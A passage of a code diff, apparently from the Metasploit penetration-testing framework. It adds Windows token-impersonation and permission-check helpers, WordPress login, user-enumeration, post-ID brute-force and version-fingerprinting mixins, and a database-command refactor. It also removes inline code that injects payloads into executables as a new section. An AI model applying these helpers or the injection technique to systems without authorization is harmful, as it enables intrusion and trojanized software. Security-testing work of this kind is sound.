@ -177,6 +177,71 @@ module Accounts
|
|||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Fixnum] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
|
|
@ -2,12 +2,7 @@
|
|||
|
||||
require 'msf/core/post/windows/accounts'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
|
||||
module Priv
|
||||
|
||||
module Msf::Post::Windows::Priv
|
||||
include ::Msf::Post::Windows::Accounts
|
||||
|
||||
LowIntegrityLevel = 'S-1-16-4096'
|
||||
|
@ -177,7 +172,3 @@ module Priv
|
|||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -2,22 +2,21 @@
|
|||
require 'msf/core'
|
||||
require 'msf/core/module'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# A mixin used for providing Modules with post-exploitation options and helper methods
|
||||
#
|
||||
module PostMixin
|
||||
module Msf::PostMixin
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
include Msf::Module::HasActions
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_options( [
|
||||
OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||
Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ])
|
||||
] , Msf::Post)
|
||||
|
||||
# Default stance is active
|
||||
|
@ -217,5 +216,3 @@ protected
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,35 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
# This module provides a way of interacting with wordpress installations
|
||||
module Msf
|
||||
module HTTP
|
||||
module Wordpress
|
||||
require 'msf/http/wordpress/base'
|
||||
require 'msf/http/wordpress/helpers'
|
||||
require 'msf/http/wordpress/login'
|
||||
require 'msf/http/wordpress/posts'
|
||||
require 'msf/http/wordpress/uris'
|
||||
require 'msf/http/wordpress/users'
|
||||
require 'msf/http/wordpress/version'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::Wordpress::Base
|
||||
include Msf::HTTP::Wordpress::Helpers
|
||||
include Msf::HTTP::Wordpress::Login
|
||||
include Msf::HTTP::Wordpress::Posts
|
||||
include Msf::HTTP::Wordpress::URIs
|
||||
include Msf::HTTP::Wordpress::Users
|
||||
include Msf::HTTP::Wordpress::Version
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
|
||||
], HTTP::Wordpress
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,28 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Base
|
||||
|
||||
# Checks if the site is online and running wordpress
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
|
||||
def wordpress_and_online?
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path)
|
||||
})
|
||||
return res if res and
|
||||
res.code == 200 and
|
||||
(
|
||||
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
|
||||
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
|
||||
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
|
||||
)
|
||||
return nil
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Error connecting to #{target_uri}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,122 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Helpers
|
||||
|
||||
# Helper methods are private and should not be called by modules
|
||||
private
|
||||
|
||||
# Returns the POST data for a Wordpress login request
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @param redirect URL [String] to redirect after successful login
|
||||
# @return [Hash] The post data for vars_post Parameter
|
||||
def wordpress_helper_login_post_data(user, pass, redirect=nil)
|
||||
post_data = {
|
||||
'log' => user.to_s,
|
||||
'pwd' => pass.to_s,
|
||||
'redirect_to' => redirect.to_s,
|
||||
'wp-submit' => 'Login'
|
||||
}
|
||||
post_data
|
||||
end
|
||||
|
||||
# Helper method to post a comment to Wordpress
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param login_cookie [String] The valid login_cookie
|
||||
# @param author [String] The author name
|
||||
# @param email [String] The author email
|
||||
# @param url [String] The author url
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_helper_post_comment(comment, comment_post_id, login_cookie, author, email, url)
|
||||
vars_post = {
|
||||
'comment' => comment,
|
||||
'submit' => 'Post+Comment',
|
||||
'comment_post_ID' => comment_post_id.to_s,
|
||||
'comment_parent' => '0'
|
||||
}
|
||||
vars_post.merge!({
|
||||
'author' => author,
|
||||
'email' => email,
|
||||
'url' => url,
|
||||
}) unless login_cookie
|
||||
|
||||
options = {
|
||||
'uri' => normalize_uri(target_uri.path, 'wp-comments-post.php'),
|
||||
'method' => 'POST'
|
||||
}
|
||||
options.merge!({'vars_post' => vars_post})
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
return wordpress_helper_parse_location_header(res)
|
||||
else
|
||||
message = "#{peer} - Post comment failed."
|
||||
message << " Status Code: #{res.code}" if res
|
||||
print_error(message)
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Helper method for bruteforcing a valid post id
|
||||
#
|
||||
# @param range [Range] The Range of post_ids to bruteforce
|
||||
# @param comments_enabled [Boolean] If true try to find a post id with comments enabled, otherwise return the first found
|
||||
# @param login_cookie [String] A valid login cookie to perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_helper_bruteforce_valid_post_id(range, comments_enabled=false, login_cookie=nil)
|
||||
range.each { |id|
|
||||
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
|
||||
body = wordpress_helper_check_post_id(wordpress_url_post(id), comments_enabled, login_cookie)
|
||||
return id if body
|
||||
}
|
||||
# no post found
|
||||
return nil
|
||||
end
|
||||
|
||||
# Helper method to check if a post is valid an has comments enabled
|
||||
#
|
||||
# @param uri [String] the Post URI Path
|
||||
# @param comments_enabled [Boolean] Check if comments are enabled on this post
|
||||
# @param login_cookie [String] A valid login cookie to perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_helper_check_post_id(uri, comments_enabled=false, login_cookie=nil)
|
||||
options = {
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
}
|
||||
options.merge!({'cookie' => login_cookie}) if login_cookie
|
||||
res = send_request_cgi(options)
|
||||
# post exists
|
||||
if res and res.code == 200
|
||||
# also check if comments are enabled
|
||||
if comments_enabled
|
||||
if res.body =~ /form.*action.*wp-comments-post\.php/
|
||||
return res.body
|
||||
else
|
||||
return nil
|
||||
end
|
||||
# valid post found, not checking for comments
|
||||
else
|
||||
return res.body
|
||||
end
|
||||
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
# Helper method parse a Location header and returns only the path and query. Returns nil on error
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [String,nil] the path and query, nil on error
|
||||
def wordpress_helper_parse_location_header(res)
|
||||
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
|
||||
|
||||
location = res.headers['Location']
|
||||
path_from_uri(location)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,37 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Login
|
||||
|
||||
# performs a wordpress login
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @param pass [String] Password
|
||||
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
|
||||
def wordpress_login(user, pass)
|
||||
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
|
||||
})
|
||||
|
||||
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
|
||||
match = res.get_cookies.match(/(wordpress(?:_sec)?_logged_in_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match[0] if match
|
||||
|
||||
# support for older wordpress versions
|
||||
# Wordpress 2.0
|
||||
match_user = res.get_cookies.match(/(wordpressuser_[^=]+=[^;]+);/i)
|
||||
match_pass = res.get_cookies.match(/(wordpresspass_[^=]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return "#{match_user[0]} #{match_pass[0]}" if (match_user and match_pass)
|
||||
|
||||
# Wordpress 2.5
|
||||
match_2_5 = res.get_cookies.match(/(wordpress_[a-z0-9]+=[^;]+);/i)
|
||||
# return wordpress login cookie
|
||||
return match_2_5[0] if match_2_5
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,157 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Posts
|
||||
|
||||
# Posts a comment as an authenticated user
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param login_cookie [String] The valid login_cookie
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_post_comment_auth(comment, comment_post_id, login_cookie)
|
||||
wordpress_helper_post_comment(comment, comment_post_id, login_cookie, nil, nil, nil)
|
||||
end
|
||||
|
||||
# Posts a comment as an unauthenticated user
|
||||
#
|
||||
# @param comment [String] The comment
|
||||
# @param comment_post_id [Integer] The Post ID to post the comment to
|
||||
# @param author [String] The author name
|
||||
# @param email [String] The author email
|
||||
# @param url [String] The author url
|
||||
# @return [String,nil] The location of the new comment/post, nil on error
|
||||
def wordpress_post_comment_no_auth(comment, comment_post_id, author, email, url)
|
||||
wordpress_helper_post_comment(comment, comment_post_id, nil, author, email, url)
|
||||
end
|
||||
|
||||
# Wordpress shows moderated comments to the unauthenticated Posting user
|
||||
# Users are identified by their cookie
|
||||
#
|
||||
# @param author [String] The author name used to post the anonymous comment
|
||||
# @param email [String] The author email used to post the anonymous comment
|
||||
# @param url [String] The author url used to post the anonymous comment
|
||||
# @return [String] The cookie string that can be used to see moderated comments
|
||||
def wordpress_get_unauth_comment_cookies(author, email, url)
|
||||
scheme = ssl ? 'https' : 'http'
|
||||
port = (rport == 80 or rport == 443) ? '' : rport
|
||||
# siteurl does not contain last slash
|
||||
path = target_uri.to_s.sub(/\/$/, '')
|
||||
siteurl = "#{scheme}://#{rhost}#{port}#{path}"
|
||||
site_hash = Rex::Text.md5(siteurl)
|
||||
cookie = "comment_author_#{site_hash}=#{author}; "
|
||||
cookie << "comment_author_email_#{site_hash}=#{email}; "
|
||||
cookie << "comment_author_url_#{site_hash}=#{url};"
|
||||
cookie
|
||||
end
|
||||
|
||||
# Tries to bruteforce a valid post_id
|
||||
#
|
||||
# @param min_post_id [Integer] The first post_id to bruteforce
|
||||
# @param max_post_id [Integer] The last post_id to bruteforce
|
||||
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_bruteforce_valid_post_id(min_post_id, max_post_id, login_cookie=nil)
|
||||
return nil if min_post_id > max_post_id
|
||||
range = Range.new(min_post_id, max_post_id)
|
||||
wordpress_helper_bruteforce_valid_post_id(range, false, login_cookie)
|
||||
end
|
||||
|
||||
# Tries to bruteforce a valid post_id with comments enabled
|
||||
#
|
||||
# @param min_post_id [Integer] The first post_id to bruteforce
|
||||
# @param max_post_id [Integer] The last post_id to bruteforce
|
||||
# @param login_cookie [String] If set perform the bruteforce as an authenticated user
|
||||
# @return [Integer,nil] The post id, nil when nothing found
|
||||
def wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, login_cookie=nil)
|
||||
return nil if min_post_id > max_post_id
|
||||
range = Range.new(min_post_id, max_post_id)
|
||||
wordpress_helper_bruteforce_valid_post_id(range, true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param post_id [Integer] The post ID to check
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie)
|
||||
end
|
||||
|
||||
# Checks if the provided post has comments enabled
|
||||
#
|
||||
# @param url [String] The post url
|
||||
# @param login_cookie [String] If set perform the check as an authenticated user
|
||||
# @return [String,nil] the HTTP response body of the post, nil otherwise
|
||||
def wordpress_post_comments_enabled?(url, login_cookie=nil)
|
||||
wordpress_helper_check_post_id(url, true, login_cookie)
|
||||
end
|
||||
|
||||
# Gets the post_id from a post body
|
||||
#
|
||||
# @param body [String] The body of a post
|
||||
# @return [String,nil] The post_id, nil when nothing found
|
||||
def get_post_id_from_body(body)
|
||||
return nil unless body
|
||||
body.match(/<body class="[^=]*postid-(\d+)[^=]*">/i)[1]
|
||||
end
|
||||
|
||||
# Tries to get some Blog Posts via the RSS feed
|
||||
#
|
||||
# @param max_redirects [Integer] maximum redirects to follow
|
||||
# @return [Array<String>,nil] String Array with valid blog posts, nil on error
|
||||
def wordpress_get_all_blog_posts_via_feed(max_redirects = 10)
|
||||
vprint_status("#{peer} - Enumerating Blog posts...")
|
||||
blog_posts = []
|
||||
|
||||
begin
|
||||
vprint_status("#{peer} - Locating wordpress feed...")
|
||||
res = send_request_cgi({
|
||||
'uri' => wordpress_url_rss,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
count = max_redirects
|
||||
|
||||
# Follow redirects
|
||||
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
|
||||
path = wordpress_helper_parse_location_header(res)
|
||||
return nil unless path
|
||||
|
||||
vprint_status("#{peer} - Web server returned a #{res.code}...following to #{path}")
|
||||
res = send_request_cgi({
|
||||
'uri' => path,
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.code == 200
|
||||
vprint_status("#{peer} - Feed located at #{path}")
|
||||
else
|
||||
vprint_status("#{peer} - Returned a #{res.code}...")
|
||||
end
|
||||
count = count - 1
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect")
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.nil? or res.code != 200
|
||||
vprint_status("#{peer} - Did not recieve HTTP response for RSS feed")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
# parse out links and place in array
|
||||
links = res.body.scan(/<link>([^<]+)<\/link>/i)
|
||||
|
||||
if links.nil? or links.empty?
|
||||
vprint_status("#{peer} - Feed did not have any links present")
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
links.each do |link|
|
||||
path = path_from_uri(link[0])
|
||||
blog_posts << path if path
|
||||
end
|
||||
return blog_posts
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,69 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::URIs
|
||||
|
||||
# Returns the Wordpress Login URL
|
||||
#
|
||||
# @return [String] Wordpress Login URL
|
||||
def wordpress_url_login
|
||||
normalize_uri(target_uri.path, 'wp-login.php')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Post URL
|
||||
#
|
||||
# @param post_id [Integer] Post ID
|
||||
# @return [String] Wordpress Post URL
|
||||
def wordpress_url_post(post_id)
|
||||
normalize_uri(target_uri.path, "?p=#{post_id}")
|
||||
end
|
||||
|
||||
# Returns the Wordpress Author URL
|
||||
#
|
||||
# @param author_id [Integer] Author ID
|
||||
# @return [String] Wordpress Author URL
|
||||
def wordpress_url_author(author_id)
|
||||
normalize_uri(target_uri.path, "?author=#{author_id}")
|
||||
end
|
||||
|
||||
# Returns the Wordpress RSS feed URL
|
||||
#
|
||||
# @return [String] Wordpress RSS URL
|
||||
def wordpress_url_rss
|
||||
normalize_uri(target_uri.path, '?feed=rss2')
|
||||
end
|
||||
|
||||
# Returns the Wordpress RDF feed URL
|
||||
#
|
||||
# @return [String] Wordpress RDF URL
|
||||
def wordpress_url_rdf
|
||||
normalize_uri(target_uri.path, 'feed/rdf/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress ATOM feed URL
|
||||
#
|
||||
# @return [String] Wordpress ATOM URL
|
||||
def wordpress_url_atom
|
||||
normalize_uri(target_uri.path, 'feed/atom/')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Readme file URL
|
||||
#
|
||||
# @return [String] Wordpress Readme file URL
|
||||
def wordpress_url_readme
|
||||
normalize_uri(target_uri.path, 'readme.html')
|
||||
end
|
||||
|
||||
# Returns the Wordpress Sitemap URL
|
||||
#
|
||||
# @return [String] Wordpress Sitemap URL
|
||||
def wordpress_url_sitemap
|
||||
normalize_uri(target_uri.path, 'sitemap.xml')
|
||||
end
|
||||
|
||||
# Returns the Wordpress OPML URL
|
||||
#
|
||||
# @return [String] Wordpress OPML URL
|
||||
def wordpress_url_opml
|
||||
normalize_uri(target_uri.path, 'wp-links-opml.php')
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,65 @@
|
|||
# -*- coding: binary -*-
|
||||
module Msf::HTTP::Wordpress::Users
|
||||
|
||||
# Checks if the given user exists
|
||||
#
|
||||
# @param user [String] Username
|
||||
# @return [Boolean] true if the user exists
|
||||
def wordpress_user_exists?(user)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_login,
|
||||
'vars_post' => wordpress_helper_login_post_data(user, Rex::Text.rand_text_alpha(6))
|
||||
})
|
||||
|
||||
return true if res and res.code == 200 and
|
||||
(res.body.to_s =~ /Incorrect password/ or
|
||||
res.body.to_s =~ /document\.getElementById\('user_pass'\)/)
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
# Checks if the given userid exists
|
||||
#
|
||||
# @param user_id [Integer] user_id
|
||||
# @return [String,nil] the Username if it exists, nil otherwise
|
||||
def wordpress_userid_exists?(user_id)
|
||||
# Wordpress returns all posts from all users on user_id 0
|
||||
return nil if user_id < 1
|
||||
|
||||
url = wordpress_url_author(user_id)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
|
||||
if res and res.code == 301
|
||||
uri = wordpress_helper_parse_location_header(res)
|
||||
return nil unless uri
|
||||
# try to extract username from location
|
||||
if uri.to_s =~ /\/author\/([^\/\b]+)\/?/i
|
||||
return $1
|
||||
end
|
||||
uri = "#{uri.path}?#{uri.query}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
})
|
||||
end
|
||||
|
||||
if res.nil?
|
||||
print_error("#{peer} - Error getting response.")
|
||||
return nil
|
||||
elsif res.code == 200 and
|
||||
(
|
||||
res.body =~ /href="http[s]*:\/\/.*\/\?*author.+title="([[:print:]]+)" /i or
|
||||
res.body =~ /<body class="archive author author-(?:[^\s]+) author-(?:\d+)/i or
|
||||
res.body =~ /Posts by (\w+) Feed/i or
|
||||
res.body =~ /<span class='vcard'><a class='url fn n' href='[^"']+' title='[^"']+' rel='me'>([^<]+)<\/a><\/span>/i or
|
||||
res.body =~ /<title>.*(\b\w+\b)<\/title>/i
|
||||
)
|
||||
return $1
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::Wordpress::Version
|
||||
|
||||
# Extracts the Wordpress version information from various sources
|
||||
#
|
||||
# @return [String,nil] Wordpress version if found, nil otherwise
|
||||
def wordpress_version
|
||||
# detect version from generator
|
||||
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from readme
|
||||
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rss
|
||||
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from rdf
|
||||
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from atom
|
||||
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
|
||||
return version if version
|
||||
|
||||
# detect version from sitemap
|
||||
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
return version if version
|
||||
|
||||
# detect version from opml
|
||||
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
|
||||
return version if version
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Used to check if the version is correct: must contain at least one dot.
|
||||
#
|
||||
# @return [ String ]
|
||||
def wordpress_version_pattern
|
||||
'([^\r\n"\']+\.[^\r\n"\']+)'
|
||||
end
|
||||
|
||||
def wordpress_version_helper(url, regex)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => url
|
||||
})
|
||||
if res
|
||||
match = res.body.match(regex)
|
||||
if match
|
||||
return match[1]
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
end
|
|
@ -1546,7 +1546,8 @@ class Db
|
|||
return
|
||||
end
|
||||
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
|
||||
if (::File.exists? ::File.expand_path(file))
|
||||
file = ::File.expand_path(file)
|
||||
if (::File.exists? file)
|
||||
db = YAML.load(::File.read(file))['production']
|
||||
framework.db.connect(db)
|
||||
|
||||
|
@ -1744,23 +1745,31 @@ class Db
|
|||
# Miscellaneous option helpers
|
||||
#
|
||||
|
||||
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
|
||||
#
|
||||
# Parse +arg+ into a RangeWalker and append the result into +host_ranges+
|
||||
#
|
||||
# Returns true if parsing was successful or nil otherwise.
|
||||
#
|
||||
# NOTE: This modifies +host_ranges+
|
||||
# @note This modifies +host_ranges+ in place
|
||||
#
|
||||
# @param arg [String] The thing to turn into a RangeWalker
|
||||
# @param host_ranges [Array] The array of ranges to append
|
||||
# @param required [Boolean] Whether an empty +arg+ should be an error
|
||||
# @return [Boolean] true if parsing was successful or false otherwise
|
||||
def arg_host_range(arg, host_ranges, required=false)
|
||||
if (!arg and required)
|
||||
print_error("Missing required host argument")
|
||||
return
|
||||
return false
|
||||
end
|
||||
begin
|
||||
host_ranges << Rex::Socket::RangeWalker.new(arg)
|
||||
rw = Rex::Socket::RangeWalker.new(arg)
|
||||
rescue
|
||||
print_error("Invalid host parameter, #{arg}.")
|
||||
return
|
||||
return false
|
||||
end
|
||||
|
||||
if rw.valid?
|
||||
host_ranges << rw
|
||||
else
|
||||
print_error("Invalid host parameter, #{arg}.")
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -16,6 +16,7 @@ require 'rex/pescan'
|
|||
require 'rex/zip'
|
||||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -66,6 +67,7 @@ require 'digest/sha1'
|
|||
return template % hash_sub
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
#
|
||||
# Executable generators
|
||||
|
@ -185,80 +187,12 @@ require 'digest/sha1'
|
|||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
if endjunk
|
||||
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
|
||||
end
|
||||
|
||||
#find first section file offset and free RVA for new section
|
||||
free_rva = pe.hdr.opt.AddressOfEntryPoint
|
||||
first_off = sections_end
|
||||
pe.sections.each do |sec|
|
||||
first_off = sec.file_offset if sec.file_offset < first_off
|
||||
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
|
||||
end
|
||||
#align free_rva
|
||||
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
|
||||
|
||||
#See if we can add a section
|
||||
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
|
||||
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
|
||||
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
|
||||
raise RuntimeError, "Not enough room for new section header"
|
||||
end
|
||||
|
||||
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
|
||||
start_rva = free_rva
|
||||
|
||||
#make new section, starting at free RVA
|
||||
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
|
||||
#pad to file alignment
|
||||
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
|
||||
|
||||
#make new section header
|
||||
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
|
||||
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
|
||||
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
|
||||
new_sechead.v['VirtualAddress'] = free_rva
|
||||
new_sechead.v['SizeOfRawData'] = new_sec.length
|
||||
new_sechead.v['PointerToRawData'] = sections_end
|
||||
|
||||
# Create the modified version of the input executable
|
||||
exe = ''
